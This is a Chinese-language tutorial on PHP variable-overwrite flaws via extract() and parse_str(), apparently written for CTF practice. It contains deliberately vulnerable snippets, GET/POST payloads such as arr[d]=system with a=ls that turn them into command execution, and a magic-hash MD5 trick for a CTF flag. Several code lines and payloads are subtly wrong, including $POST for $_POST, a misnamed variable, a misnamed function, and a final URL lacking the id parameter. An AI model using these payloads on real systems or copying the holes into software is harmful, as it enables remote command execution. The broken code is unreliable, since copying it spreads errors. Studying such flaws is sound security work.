变量覆盖

使用传参的值替换掉原有的变量值

$a = 'abc';
$a = 'def';

如以上两句代码,变量a最终的值为“def”而不是”abc“因为被重新赋值所以原值被覆盖了

在PHP中可以使用如下函数进行变量替换

extract()
parse_str()
import_requests_variables()  //PHP >= 5.4.0 被弃用

Extract

此函数使用数组的建作为变量名称,值作为变量的值,争对每数组中的每一个元素

<?php
    $a = "Origunal";
	$my_array = array("a" => "Cat",
                      "b" => "Dog",
                      "c" => "Horse");
	extract($my_array);
	echo "\$a = $a; \$b = $b; \c = $c"
?>

extract函数执行后会依次创建’a‘、’b‘、‘c’三个变量此时,因为程序开头已经存在变量a,所以变量a的值被重新赋值为”Cat“,被覆盖掉了,所以最后的执行结果为

$a = Cat; $b = Dog; $c = Horse

例子

<?php
    $arr = $_GET['arr'];
	extract($arr);
	@$d($POST['a']);
?>

在此例中,通过对变量b进行覆盖,并将a的值替换为要执行的命令,最后完成任意命令执行

GET:

http://localhost/test.php?arr[d]=system

POST:

a=ls

Parse_str

<?php
    parse_str("name=Bill&age=60");
	echo $name;
    echo $age;
?>

将查询字符串解析到变量中

<?php
    parse_str("name=Bill&age=60",$myArray);
	print_r($myArry);
?>

将查询字符串解析到变量中

例子

<?php
    $arr = $_GET['arr'];
	parse_str($arr);
	@$d($POST['a']);
?>

GET:

http://localhost/test.php?arr=d=system

POST:

a=ls

例题

<?php
    if(!isset($_GET['id'])){
        show_source(__FILE__);
        die;
    }
	include_once('flag.php');
	$a = 'TESTCTF';
	$id = $_GET['id'];
	@parse_str($id);
	if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')){
        die($flag);
    } else{
        die('emmm');
    }
?>

题目中只有一个Get参数id,在下方的if条件中是对a进行判断,所以要对变量a进行覆盖

题目中采用parse_str()函数解析变量,后方的字符串”QNKCDZO“的Md5为0e开头,而且采用的弱类型

所以先将变量a进行覆盖,再将数组a[0]的值设置为”0e00275209979“

GET:

http://localhost/test.php?a[0]=0e00275209979